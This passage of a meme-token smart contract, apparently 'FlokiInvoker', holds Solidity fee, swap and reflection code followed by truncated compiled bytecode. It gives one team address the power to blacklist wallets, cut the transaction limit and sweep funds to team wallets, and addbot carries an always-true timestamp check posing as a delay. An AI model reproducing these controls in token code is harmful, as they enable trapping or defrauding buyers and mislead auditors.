if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function delbot(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
event WalletBanStatusUpdated(address user, bool banned);
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function maxtx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063dd62ed3e146103ef578063e5dbce821461042c5761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b80632634e5e8116100e75780632634e5e8146101f4578063313ce5671461021d578063514d1b4e146102485780635932ead1146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b604051610146919061306e565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612b29565b610492565b6040516101839190613053565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190613230565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612a96565b6104c0565b6040516101eb9190613053565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612c0c565b610599565b005b34801561022957600080fd5b506102326106ae565b60405161023f91906132a5565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612ae9565b6106b7565b005b34801561027d57600080fd5b5061029860048036038101906102939190612bb2565b610858565b005b3480156102a657600080fd5b506102af61090a565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129fc565b61097c565b6040516102e59190613230565b60405180910390f35b3480156102fa57600080fd5b506103036109cd565b005b34801561031157600080fd5b5061031a610b20565b6040516103279190612f5c565b60405180910390f35b34801561033c57600080fd5b50610345610b49565b604051610352919061306e565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612b29565b610b86565b60405161038f9190613053565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612b69565b610ba4565b005b3480156103cd57600080fd5b506103d6610cce565b005b3480156103e457600080fd5b506103ed610d48565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a56565b6112a3565b6040516104239190613230565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e91906129fc565b61132a565b005b60606040518060400160405280600c81526020017f466c6f6b69496e766f6b65720000000000000000000000000000000000000000815250905090565b60006104a661049f6113e6565b84846113ee565b6001905092915050565b600067016345785d8a0000905090565b60006104cd8484846115b9565b61058e846104d96113e6565b610589856040518060600160405280602881526020016139d560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061053f6113e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d789092919063ffffffff16565b6113ee565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105da6113e6565b73ffffffffffffffffffffffffffffffffffffffff16146105fa57600080fd5b6000811161063d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063490613110565b60405180910390fd5b61066c61271061065e8367016345785d8a0000611ddc90919063ffffffff16565b611e5790919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516106a39190613230565b60405180910390a150565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f86113e6565b73ffffffffffffffffffffffffffffffffffffffff161461071857600080fd5b80156107cb57426203f4804261072e9190613366565b1161076e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076590613130565b60405180910390fd5b6001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061081b565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b7ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d828260405161084c929190612fa0565b60405180910390a15050565b6108606113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490613170565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661094b6113e6565b73ffffffffffffffffffffffffffffffffffffffff161461096b57600080fd5b600047905061097981611ea1565b50565b60006109c6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c565b9050919050565b6109d56113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990613170565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f464c4f4b49564b00000000000000000000000000000000000000000000000000815250905090565b6000610b9a610b936113e6565b84846115b9565b6001905092915050565b610bac6113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3090613170565b60405180910390fd5b60005b8151811015610cca576001600b6000848481518110610c5e57610c5d6135ed565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cc290613546565b915050610c3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0f6113e6565b73ffffffffffffffffffffffffffffffffffffffff1614610d2f57600080fd5b6000610d3a3061097c565b9050610d458161200a565b50565b610d506113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd490613170565b60405180910390fd5b601060149054906101000a900460ff1615610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e24906131f0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ebc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006113ee565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0257600080fd5b505afa158015610f16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3a9190612a29565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9c57600080fd5b505afa158015610fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd49190612a29565b6040518363ffffffff1660e01b8152600401610ff1929190612f77565b602060405180830381600087803b15801561100b57600080fd5b505af115801561101f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110439190612a29565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110cc3061097c565b6000806110d7610b20565b426040518863ffffffff1660e01b81526004016110f996959493929190612ff2565b6060604051808303818588803b15801561111257600080fd5b505af1158015611126573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061114b9190612c39565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067016345785d8a00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161124d929190612fc9565b602060405180830381600087803b15801561126757600080fd5b505af115801561127b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129f9190612bdf565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661136b6113e6565b73ffffffffffffffffffffffffffffffffffffffff161461138b57600080fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561145e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611455906131d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c5906130d0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ac9190613230565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611629576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611620906131b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090613090565b60405180910390fd5b600081116116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d390613190565b60405180910390fd5b6116e4610b20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117525750611722610b20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cb557601060179054906101000a900460ff1615611985573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117d457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561182e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118885750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561198457600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118ce6113e6565b73ffffffffffffffffffffffffffffffffffffffff1614806119445750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661192c6113e6565b73ffffffffffffffffffffffffffffffffffffffff16145b611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90613210565b60405180910390fd5b5b5b60115481111561199457600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a385750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4157600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aec5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b425750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b5a5750601060179054906101000a900460ff165b15611bfb5742600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611baa57600080fd5b607842611bb79190613366565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611c063061097c565b9050601060159054906101000a900460ff16158015611c735750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c8b5750601060169054906101000a900460ff165b15611cb357611c998161200a565b60004790506000811115611cb157611cb047611ea1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d6657600090505b611d7284848484612292565b50505050565b6000838311158290611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db7919061306e565b60405180910390fd5b5060008385611dcf9190613447565b9050809150509392505050565b600080831415611def5760009050611e51565b60008284611dfd91906133ed565b9050828482611e0c91906133bc565b14611e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4390613150565b60405180910390fd5b809150505b92915050565b6000611e9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122bf565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ef1600284611e5790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f1c573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f6d600284611e5790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f98573d6000803e3d6000fd5b5050565b6000600654821115611fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fda906130b0565b60405180910390fd5b6000611fed612322565b90506120028184611e5790919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120425761204161361c565b5b6040519080825280602002602001820160405280156120705781602001602082028036833780820191505090505b5090503081600081518110612088576120876135ed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561212a57600080fd5b505afa15801561213e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121629190612a29565b81600181518110612176576121756135ed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121dd30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ee565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161224195949392919061324b565b600060405180830381600087803b15801561225b57600080fd5b505af115801561226f573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b806122a05761229f61234d565b5b6122ab84848461237e565b806122b9576122b8612549565b5b50505050565b60008083118290612306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fd919061306e565b60405180910390fd5b506000838561231591906133bc565b9050809150509392505050565b600080600061232f61255b565b915091506123468183611e5790919063ffffffff16565b9250505090565b600060085414801561236157506000600954145b1561236b5761237c565b600060088190555060006009819055505b565b600080600080600080612390876125ba565b9550955095509550955095506123ee86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124cf816126ca565b6124d98483612787565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125369190613230565b60405180910390a3505050505050505050565b60046008819055506002600981905550565b60008060006006549050600067016345785d8a0000905061258f67016345785d8a0000600654611e5790919063ffffffff16565b8210156125ad5760065467016345785d8a00009350935050506125b6565b81819350935050505b9091565b60008060008060008060008060006125d78a6008546009546127c1565b92509250925060006125e7612322565b905060008060006125fa8e878787612857565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061266483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d78565b905092915050565b600080828461267b9190613366565b9050838110156126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b7906130f0565b60405180910390fd5b8091505092915050565b60006126d4612322565b905060006126eb8284611ddc90919063ffffffff16565b905061273f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61279c8260065461262290919063ffffffff16565b6006819055506127b78160075461266c90919063ffffffff16565b6007819055505050565b6000806000806127ed60646127df888a611ddc90919063ffffffff16565b611e5790919063ffffffff16565b905060006128176064612809888b611ddc90919063ffffffff16565b611e5790919063ffffffff16565b9050600061284082612832858c61262290919063ffffffff16565b61262290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128708589611ddc90919063ffffffff16565b905060006128878689611ddc90919063ffffffff16565b9050600061289e8789611ddc90919063ffffffff16565b905060006128c7826128b9858761262290919063ffffffff16565b61262290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128f36128ee846132e5565b6132c0565b9050808382526020820190508285602086028201111561291657612915613650565b5b60005b85811015612946578161292c8882612950565b845260208401935060208301925050600181019050612919565b5050509392505050565b60008135905061295f8161398f565b92915050565b6000815190506129748161398f565b92915050565b600082601f83011261298f5761298e61364b565b5b813561299f8482602086016128e0565b91505092915050565b6000813590506129b7816139a6565b92915050565b6000815190506129cc816139a6565b92915050565b6000813590506129e1816139bd565b92915050565b6000815190506129f6816139bd565b92915050565b600060208284031215612a1257612a1161365a565b5b6000612a2084828501612950565b91505092915050565b600060208284031215612a3f57612a3e61365a565b5b6000612a4d84828501612965565b91505092915050565b60008060408385031215612a6d57612a6c61365a565b5b6000612a7b85828601612950565b9250506020612a8c85828601612950565b9150509250929050565b600080600060608486031215612aaf57612aae61365a565b5b6000612abd86828701612950565b9350506020612ace86828701612950565b9250506040612adf868287016129d2565b9150509250925092565b60008060408385031215612b0057612aff61365a565b5b6000612b0e85828601612950565b9250506020612b1f858286016129a8565b9150509250929050565b60008060408385031215612b4057612b3f61365a565b5b6000612b4e85828601612950565b9250506020612b5f858286016129d2565b9150509250929050565b600060208284031215612b7f57612b7e61365a565b5b600082013567ffffffffffffffff811115612b9d57612b9c613655565b5b612ba98482850161297a565b91505092915050565b600060208284031215612bc857612bc761365a565b5b6000612bd6848285016129a8565b91505092915050565b600060208284031215612bf557612bf461365a565b5b6000612c03848285016129bd565b91505092915050565b600060208284031215612c2257612c2161365a565b5b6000612c30848285016129d2565b91505092915050565b600080600060608486031215612c5257612c5161365a565b5b6000612c60868287016129e7565b9350506020612c71868287016129e7565b9250506040612c82868287016129e7565b9150509250925092565b6000612c988383612ca4565b60208301905092915050565b612cad8161347b565b82525050565b612cbc8161347b565b82525050565b6000612ccd82613321565b612cd78185613344565b9350612ce283613311565b8060005b83811015612d13578151612cfa8882612c8c565b9750612d0583613337565b925050600181019050612ce6565b5085935050505092915050565b612d298161348d565b82525050565b612d38816134d0565b82525050565b6000612d498261332c565b612d538185613355565b9350612d638185602086016134e2565b612d6c8161365f565b840191505092915050565b6000612d84602383613355565b9150612d8f82613670565b604082019050919050565b6000612da7602a83613355565b9150612db2826136bf565b604082019050919050565b6000612dca602283613355565b9150612dd58261370e565b604082019050919050565b6000612ded601b83613355565b9150612df88261375d565b602082019050919050565b6000612e10601d83613355565b9150612e1b82613786565b602082019050919050565b6000612e33600183613355565b9150612e3e826137af565b602082019050919050565b6000612e56602183613355565b9150612e61826137d8565b604082019050919050565b6000612e79602083613355565b9150612e8482613827565b602082019050919050565b6000612e9c602983613355565b9150612ea782613850565b604082019050919050565b6000612ebf602583613355565b9150612eca8261389f565b604082019050919050565b6000612ee2602483613355565b9150612eed826138ee565b604082019050919050565b6000612f05601783613355565b9150612f108261393d565b602082019050919050565b6000612f28601183613355565b9150612f3382613966565b602082019050919050565b612f47816134b9565b82525050565b612f56816134c3565b82525050565b6000602082019050612f716000830184612cb3565b92915050565b6000604082019050612f8c6000830185612cb3565b612f996020830184612cb3565b9392505050565b6000604082019050612fb56000830185612cb3565b612fc26020830184612d20565b9392505050565b6000604082019050612fde6000830185612cb3565b612feb6020830184612f3e565b9392505050565b600060c0820190506130076000830189612cb3565b6130146020830188612f3e565b6130216040830187612d2f565b61302e6060830186612d2f565b61303b6080830185612cb3565b61304860a0830184612f3e565b979650505050505050565b60006020820190506130686000830184612d20565b92915050565b600060208201905081810360008301526130888184612d3e565b905092915050565b600060208201905081810360008301526130a981612d77565b9050919050565b600060208201905081810360008301526130c981612d9a565b9050919050565b600060208201905081810360008301526130e981612dbd565b9050919050565b6000602082019050818103600083015261310981612de0565b9050919050565b6000602082019050818103600083015261312981612e03565b9050919050565b6000602082019050818103600083015261314981612e26565b9050919050565b6000602082019050818103600083015261316981612e49565b9050919050565b6000602082019050818103600083015261318981612e6c565b9050919050565b600060208201905081810360008301526131a981612e8f565b9050919050565b600060208201905081810360008301526131c981612eb2565b9050919050565b600060208201905081810360008301526131e981612ed5565b9050919050565b6000602082019050818103600083015261320981612ef8565b9050919050565b6000602082019050818103600083015261322981612f1b565b9050919050565b60006020820190506132456000830184612f3e565b92915050565b600060a0820190506132606000830188612f3e565b61326d6020830187612d2f565b818103604083015261327f8186612cc2565b905061328e6060830185612cb3565b61329b6080830184612f3e565b9695505050505050565b60006020820190506132ba6000830184612f4d565b92915050565b60006132ca6132db565b90506132d68282613515565b919050565b6000604051905090565b600067ffffffffffffffff821115613300576132ff61361c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613371826134b9565b915061337c836134b9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133b1576133b061358f565b5b828201905092915050565b60006133c7826134b9565b91506133d2836134b9565b9250826133e2576133e16135be565b5b828204905092915050565b60006133f8826134b9565b9150613403836134b9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561343c5761343b61358f565b5b828202905092915050565b6000613452826134b9565b915061345d836134b9565b9250828210156134705761346f61358f565b5b828203905092915050565b600061348682613499565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134db826134b9565b9050919050565b60005b838110156135005780820151818401526020810190506134e5565b8381111561350f576000848401525b50505050565b61351e8261365f565b810181811067ffffffffffffffff8211171561353d5761353c61361c565b5b80604052505050565b6000613551826134b9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135845761358361358f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f